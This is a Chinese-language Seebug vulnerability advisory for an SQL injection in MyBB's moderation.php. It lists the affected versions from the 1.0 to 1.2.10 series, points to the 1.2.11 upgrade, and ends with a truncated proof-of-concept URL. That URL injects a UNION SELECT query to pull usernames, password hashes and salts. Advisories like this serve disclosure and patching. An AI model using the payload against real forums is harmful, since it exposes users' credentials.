MyBB 'moderation.php' SQL注入漏洞

2008-01-18T00:00:00
ID SSV:2837
Type seebug
Reporter Root
Modified 2008-01-18T00:00:00

Description

MyBB是一款基于PHP的WEB应用程序。 MyBB不正确过滤用户提交的URI数据,远程攻击者可以利用漏洞进行SQL注入攻击,可获得敏感信息或操作数据库。 问题是由于'moderation.php'脚本对用户提交的'fid'参数处理缺少充分过滤,提交恶意SQL查询作为参数数据,可更改原来的SQL逻辑,获得敏感信息或操作数据库。

MyBulletinBoard MyBulletinBoard 1.2.10 MyBulletinBoard MyBulletinBoard 1.2.5 MyBulletinBoard MyBulletinBoard 1.2.3 MyBulletinBoard MyBulletinBoard 1.1.8 MyBulletinBoard MyBulletinBoard 1.1.7 MyBulletinBoard MyBulletinBoard 1.1.7 MyBulletinBoard MyBulletinBoard 1.1.6 MyBulletinBoard MyBulletinBoard 1.1.5 MyBulletinBoard MyBulletinBoard 1.1.4 MyBulletinBoard MyBulletinBoard 1.1.3 MyBulletinBoard MyBulletinBoard 1.1.2 MyBulletinBoard MyBulletinBoard 1.1.2 MyBulletinBoard MyBulletinBoard 1.1.1 MyBulletinBoard MyBulletinBoard 1.1 MyBulletinBoard MyBulletinBoard 1.0.4 MyBulletinBoard MyBulletinBoard 1.0.3 MyBulletinBoard MyBulletinBoard 1.0.2 MyBulletinBoard MyBulletinBoard 1.0.1 MyBulletinBoard MyBulletinBoard 1.0 PR2 MyBulletinBoard MyBulletinBoard 1.0 MyBulletinBoard MyBulletinBoard RC4 MyBulletinBoard MyBulletinBoard RC3 MyBulletinBoard MyBulletinBoard RC2 MyBulletinBoard MyBulletinBoard RC1 MyBulletinBoard MyBulletinBoard 1.2 MyBulletinBoard MyBulletinBoard 1.10

升级程序: MyBulletinBoard MyBulletinBoard RC1 MyBulletinBoard MyBB 1.2.11 <a href=http://www.mybboard.net/download/latest target=_blank>http://www.mybboard.net/download/latest</a> MyBulletinBoard MyBulletinBoard 1.2 MyBulletinBoard MyBB 1.2.11 <a href=http://www.mybboard.net/download/latest target=_blank>http://www.mybboard.net/download/latest</a> MyBulletinBoard MyBulletinBoard RC3 MyBulletinBoard MyBB 1.2.11 <a href=http://www.mybboard.net/download/latest target=_blank>http://www.mybboard.net/download/latest</a> MyBulletinBoard MyBulletinBoard RC4 MyBulletinBoard MyBB 1.2.11 <a href=http://www.mybboard.net/download/latest target=_blank>http://www.mybboard.net/download/latest</a> MyBulletinBoard MyBulletinBoard 1.10 MyBulletinBoard MyBB 1.2.11 <a href=http://www.mybboard.net/download/latest target=_blank>http://www.mybboard.net/download/latest</a> MyBulletinBoard MyBulletinBoard RC2 MyBulletinBoard MyBB 1.2.11 <a href=http://www.mybboard.net/download/latest target=_blank>http://www.mybboard.net/download/latest</a> MyBulletinBoard MyBulletinBoard 1.0 PR2 MyBulletinBoard MyBB 1.2.11 <a href=http://www.mybboard.net/download/latest target=_blank>http://www.mybboard.net/download/latest</a> MyBulletinBoard MyBulletinBoard 1.0 MyBulletinBoard MyBB 1.2.11 <a href=http://www.mybboard.net/download/latest target=_blank>http://www.mybboard.net/download/latest</a> MyBulletinBoard MyBulletinBoard 1.0.1 MyBulletinBoard MyBB 1.2.11 <a href=http://www.mybboard.net/download/latest target=_blank>http://www.mybboard.net/download/latest</a> MyBulletinBoard MyBulletinBoard 1.0.2 MyBulletinBoard MyBB 1.2.11 <a href=http://www.mybboard.net/download/latest target=_blank>http://www.mybboard.net/download/latest</a> MyBulletinBoard MyBulletinBoard 1.0.3 MyBulletinBoard MyBB 1.2.11 <a href=http://www.mybboard.net/download/latest target=_blank>http://www.mybboard.net/download/latest</a> MyBulletinBoard MyBulletinBoard 1.0.4 MyBulletinBoard MyBB 1.2.11 <a href=http://www.mybboard.net/download/latest target=_blank>http://www.mybboard.net/download/latest</a> MyBulletinBoard MyBulletinBoard 1.1 MyBulletinBoard MyBB 1.2.11 <a href=http://www.mybboard.net/download/latest target=_blank>http://www.mybboard.net/download/latest</a> MyBulletinBoard MyBulletinBoard 1.1.1 MyBulletinBoard MyBB 1.2.11 <a href=http://www.mybboard.net/download/latest target=_blank>http://www.mybboard.net/download/latest</a> MyBulletinBoard MyBulletinBoard 1.1.2 MyBulletinBoard MyBB 1.2.11 <a href=http://www.mybboard.net/download/latest target=_blank>http://www.mybboard.net/download/latest</a> MyBulletinBoard MyBulletinBoard 1.1.2 MyBulletinBoard MyBB 1.2.11 <a href=http://www.mybboard.net/download/latest target=_blank>http://www.mybboard.net/download/latest</a> MyBulletinBoard MyBulletinBoard 1.1.3 MyBulletinBoard MyBB 1.2.11 <a href=http://www.mybboard.net/download/latest target=_blank>http://www.mybboard.net/download/latest</a> MyBulletinBoard MyBulletinBoard 1.1.4 MyBulletinBoard MyBB 1.2.11 <a href=http://www.mybboard.net/download/latest target=_blank>http://www.mybboard.net/download/latest</a> MyBulletinBoard MyBulletinBoard 1.1.5 MyBulletinBoard MyBB 1.2.11 <a href=http://www.mybboard.net/download/latest target=_blank>http://www.mybboard.net/download/latest</a> MyBulletinBoard MyBulletinBoard 1.1.6 MyBulletinBoard MyBB 1.2.11 <a href=http://www.mybboard.net/download/latest target=_blank>http://www.mybboard.net/download/latest</a> MyBulletinBoard MyBulletinBoard 1.1.7 MyBulletinBoard MyBB 1.2.11 <a href=http://www.mybboard.net/download/latest target=_blank>http://www.mybboard.net/download/latest</a> MyBulletinBoard MyBulletinBoard 1.1.7 MyBulletinBoard MyBB 1.2.11 <a href=http://www.mybboard.net/download/latest target=_blank>http://www.mybboard.net/download/latest</a> MyBulletinBoard MyBulletinBoard 1.1.8 MyBulletinBoard MyBB 1.2.11 <a href=http://www.mybboard.net/download/latest target=_blank>http://www.mybboard.net/download/latest</a> MyBulletinBoard MyBulletinBoard 1.2.10 MyBulletinBoard MyBB 1.2.11 <a href=http://www.mybboard.net/download/latest target=_blank>http://www.mybboard.net/download/latest</a> MyBulletinBoard MyBulletinBoard 1.2.3 MyBulletinBoard MyBB 1.2.11 <a href=http://www.mybboard.net/download/latest target=_blank>http://www.mybboard.net/download/latest</a> MyBulletinBoard MyBulletinBoard 1.2.5 MyBulletinBoard MyBB 1.2.11 <a href=http://www.mybboard.net/download/latest target=_blank>http://www.mybboard.net/download/latest</a>

                                        
                                            
                                                http://www.example.com/mybb.1.2.10/moderation.php?fid=2&amp;amp;action=do_mergeposts&amp;amp;mergepost[-1]=1&amp;amp;mergepost[-2)UNION+ALL+SELECT+1,2,3,4,1,6,7+UNION+ALL+SELECT+1,(SELECT+CONCAT(0x5e,username,0x5e,password,0x5e,salt,0x5e,0x27)+FROM+m